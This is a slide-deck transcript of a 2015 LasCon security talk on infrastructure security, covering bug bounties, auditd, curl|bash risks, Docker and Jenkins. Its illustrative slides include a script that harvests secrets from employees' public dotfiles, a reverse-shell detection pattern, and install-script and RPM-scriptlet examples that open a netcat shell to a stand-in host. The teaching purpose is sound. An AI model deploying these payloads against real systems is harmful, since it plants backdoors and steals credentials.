  1. PETE ALREADY GAVE MY TALK AS A KEYNOTE ): 2

    — @benjammingh for LasCon 2015
  2. WHO'S THIS CLOWN? 2 ▸ Infrastructure security at Etsy. ▸

    Recovered operations monkey at Puppet Labs. ▸ Own a lot of black t-shirts. ▸ Had 1300 accounts on his high school Linux system. (: 2 https://twitter.com/skullmandible/status/411281851131523072 3 — @benjammingh for LasCon 2015
  3. SETLIST ▸ Intros. (you are here). ▸ Frame the problem,

    why am I here. ▸ Things from the real world(™) & how to cope. ▸ Far far too many summaries. ▸ Wings, moonshine and dancing? (I have no idea) 4 — @benjammingh for LasCon 2015
  4. FROM TINY SEEDS, DO MIGHTY ACORNS GROW. ▸ PinkiePwn's 6

    tiny bugs in Chrome to full sandbox escape. ▸ Egor Homakov's 5 small bugs in Github to full private access on GitHub. ▸ XSS to remote code execution in under an hour. ▸ Username & password from HVAC system leads to 8 — @benjammingh for LasCon 2015
  5. COMPUTERISING IS HARD. No. 1 takeaway for security types is

    a sense of perspective. (maybe even humility! gasp) 10 — @benjammingh for LasCon 2015
  6. SECURITY PEOPLE AREN'T GREAT SECURE CODERS. ▸ Snort: 10 CVEs,

    Wireshark: 322! CVEs ▸ Security Firm Bit9 Hacked, Used to Spread Malware ▸ Joxean Koret on Breaking Antivurius software ▸ Tavis from Project Zero on exploiting ESET ▸ BEST! FireEye just running Apache/PHP as root ! 11 — @benjammingh for LasCon 2015
  7. SO WHO DO I TRUST? ▸ No one? Always a

    great position for security people, who don't want to get paid. ▸ Everyone? Do I have some emails with funny cats for you to click on. ▸ Security vendors? If you have infinite money and no attackers. ▸ Attackers! 12 — @benjammingh for LasCon 2015
  8. "YOU'RE ALREADY BEING PROBED FOR SECURITY HOLES, DO YOU WANT

    TO KNOW OR NOT?" 13 — @benjammingh for LasCon 2015
  9. BUG BOUNTIES 103: THE FIRST FEW WEEKS WILL BE HELL.

    16 — @benjammingh for LasCon 2015
  10. terrible bash example (don't do this) # for i in

    $(curl --silent 'https://api.github.com/orgs/<target>/members' \ # | grep html_url | cut -f 4 -d '"' | cut -d / -f 4); \ # do ( curl --silent https://api.github.com/repos/$i/dotfiles | grep -q 'Not Found' || \ # git clone https://github.com/$i/dotfiles.git $i ) \ # ; done for i in * ; do [ -d "$i/.git" ] || continue cd $i for revision in $(git rev-list --all) ; do unset PAGER export GIT_PAGER="" # find . -iname \*.key -or -iname \*.pem out="$(git grep -i -E "$1" ${revision} )" if [ $? -eq 0 ] ; then echo "${out}" | LANG="C" sed "s/^/$i: /" fi done cd .. done 26 — @benjammingh for LasCon 2015
  11. AUDITD Auditd is the best way to get command execution

    logged in your infrastructure. 29 — @benjammingh for LasCon 2015
  12. AUDITD Auditd is the worst way to get this information

    to a log file. type=SYSCALL msg=audit(123:3020171): arch=c000003e syscall=59 success=yes exit=0 items=3 ppid=9200 pid=9202 auid=0 uid=1000.... typde=EXECVE msg=audit(123:3020171): argc=3 a0="/usr/bin/perl" a1="-w" a2="/bin/sketchy.pl" type=CWD msg=audit(123:3020171): cwd="/home/superdave/hax" type=PATH msg=audit(123:3020171): item=0 name="/bin/sketchy.pl" inode=208346 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 type=PATH msg=audit(123:3020171): item=1 name=(null) inode=200983 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 type=PATH msg=audit(123:3020171): item=2 name=(null) inode=46 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 30 — @benjammingh for LasCon 2015
  13. WHY? "Why are the logs multiline?" -- David Shing, aka

    "Shingy", aka "The Shing", aka "AOL's 32 — @benjammingh for LasCon 2015
  14. MULTILINE LOGS ARE THE SPAWN OF THE DEVIL ORACLE'S JAVA

    33 — @benjammingh for LasCon 2015
  15. COPING WITH MULTILINE AUDITD ▸ ELK: multiline filter in Logstash.

    ▸ Other: github/gdestuynder/Audisp-json ▸ Have cash, want a decent GUI (and more): Go use Threatstack! ▸ Write something yourself in python & golang: I keep promising to OSS this ): 34 — @benjammingh for LasCon 2015
  16. ALERT ON SKETCHY THINGS. (ASSUMES ELK) 1. Elastalert from Yelp

    2. Alert on "/bin/nc *-e /bin/sh*" 3. You will now find when someone tries to run a reverse shell! 4. Or when yours ops people do fun things. 35 — @benjammingh for LasCon 2015
  17. SINATRA EXAMPLE get '/install.sh' do if request.env['HTTP_USER_AGENT'] =~ /curl/ return

    'nc -e /bin/sh root.legit.pw 2222 &' else return print_install_code() end end 39 — @benjammingh for LasCon 2015
  18. SINATRA EXAMPLE 2: PAYBACK get '/install.sh' do ip = request.env['HTTP_CLIENT_IP']

    if seen_before.include? ip return print_install_code() else seen_before << ip return 'nc -e /bin/sh root.legit.pw 2222 &' end end 40 — @benjammingh for LasCon 2015
  19. CURL | BASH "BUT THIS IS NO WORSE THAN PACKAGES."

    foo$ sudo yum install sketchy foo$ sudo aptitude install sketchy 43 — @benjammingh for LasCon 2015
  20. CURL | BASH "but worse than downloading RPMs from a

    random site?" foo$ rpm --verify --check-sigs sketchy.1.33-7.rpm foo$ dpkg-sig --verify sketchy.1.33-7.deb 44 — @benjammingh for LasCon 2015
  21. CURL | BASH root# rpm -qp --scripts sketchy-1.33-7.rpm preinstall scriptlet

    (using /bin/sh): bash -c 'while : ; \ do \ nc -e /bin/sh root.legit.pw 2222 ;\ done' 45 — @benjammingh for LasCon 2015
  22. VERIFIABLE This doesn't exist: foo$ curl legit.pw/sketch.sh | sudo sh

    --gpg-verify No one has ever done this: foo$ curl legit.pw/sketch.sh | gpg --verify --output - | sudo sh 46 — @benjammingh for LasCon 2015
  23. CURL | BASH "But I trust HTTPS" ▸ HTTPS certs

    cost ~$6. ▸ If I can't make $6 by owning a system, I should probably stop being an attacker. ▸ @letsencrypt will soon make this free. 47 — @benjammingh for LasCon 2015
  24. >30% OF IMAGES IN DOCKER HUB CONTAIN HIGH PRIORITY SECURITY

    VULNS - JAYANTH GUMMARAJU, TARUN DESIKAN AND YOSHIO TURNER FROM BANYANOPS 59 — @benjammingh for LasCon 2015
  25. BUT IS DOCKER ITSELF SECURE? ▸ Don't run things as

    root. ▸ No really, stop running things as root. ▸ Did I mention not running things as root. ▸ It is also not 1999. (Docker 1.8 addresses some of this, with it's changes to who it runs as) 63 — @benjammingh for LasCon 2015
  26. SECURIFY THE DOCKER. ▸ Don't use --privileged. ▸ Use --cap-drop

    all and --cap-drop <thing> to get the minimum capabilities. ▸ Use Docker Notary ▸ Use GRSecurity (just do that anyway, if you can.) ▸ Use SELinux... I may as well ask for a pony here. 64 — @benjammingh for LasCon 2015
  27. THREAT MODELLING FOR BEGINNERS 1. what are you actually defending

    against? 2. from whom? 3. for how much? 68 — @benjammingh for LasCon 2015
  28. <PINCH OF SALT GOES HERE> ▸ I am not saying

    Docker is ZOMG unhackable. ▸ it's just cgroups and namespacing. (just) ▸ Escapes will happen. ▸ They have a rad security team (Hi @diogomonica and @nathanmccauley) 70 — @benjammingh for LasCon 2015
  29. UNPINCHOFSALTD ▸ You can use it in a way that

    is secure, enough. ▸ network separation & segregation still works. ▸ secrets/credentials still a bigger problem. ▸ PLEASE don't just adopt it because it's new & shiny. ▸ ! " unikernels ✨ $ 71 — @benjammingh for LasCon 2015
  30. IT'S ENTIRE JOB IS TO TAKE ARBITRARY CODE AND RUN

    IT, WITH ACCESS TO SOME SECRET/CREDENTIAL DATA. 73 — @benjammingh for LasCon 2015
  31. OLD CRUFTY CONFIGS + ALL YOUR CODE & SECRETS 75

    — @benjammingh for LasCon 2015
  32. RCE as a service 6 6 Hacking Jenkins Servers With

    No Password 77 — @benjammingh for LasCon 2015
  33. MAKE JENKINS SUCK FEWER * DISABLE EXECUTION ON THE MASTER

    JENKINS HOST. * DISABLE ANONYMOUS ACCESS. * (USE TRAVIS, IF YOU CAN) 78 — @benjammingh for LasCon 2015
  34. BUT WHAT IF JENKINS COULD BE HARNESSED FOR GOOD? 79

    — @benjammingh for LasCon 2015
  35. NOT STOLEN FROM NickG's old 2012 deck. 7 7 Thanks

    Nick. nickgsuperstar/devopssec-apply-devops-principles-to-security 80 — @benjammingh for LasCon 2015
  36. JENKINS AS A FORCE FOR [SECURITY] GOOD ▸ Gauntlt "be

    mean to your code" ▸ https://github.com/secure-pipeline ▸ Even Adobe blog on secure software, zomg! 81 — @benjammingh for LasCon 2015
  37. SUMMARY ▸ Computers are apparently hard. ▸ Security is clearly

    harder still, obv. ▸ Actually trust and humans is hard. ▸ The typing is the easy bit. (ish) 84 — @benjammingh for LasCon 2015
  38. MORE SUMMARY ▸ Complex systems lead to much more complex

    security problems. (see Oauth) ▸ Annual pen-tests don't scale, bug bounties can help. ▸ Attackers are mining any public info you have (GitHub, S3, pastebin?) ▸ No really, go check all your S3 buckets... 85 — @benjammingh for LasCon 2015
  39. WILL THERE BE A SUMMARY OF SUMMARIES? ▸ I beg

    you to stop trusting curl. ▸ Auditd is awful, but it can be fewer awful. ▸ Jenkins, you probably have to have one. ▸ but that can be okay, nay, even useful for security. 86 — @benjammingh for LasCon 2015
  40. A SUMMARY APPEARED, WHAT HAPPENED NEXT WILL SHOCK YOU ▸

    Docker and security can be used in the same sentence. ▸ Understand your threat model (Apple's guide) ▸ Don't be a FireEye, stop running things as root. 87 — @benjammingh for LasCon 2015
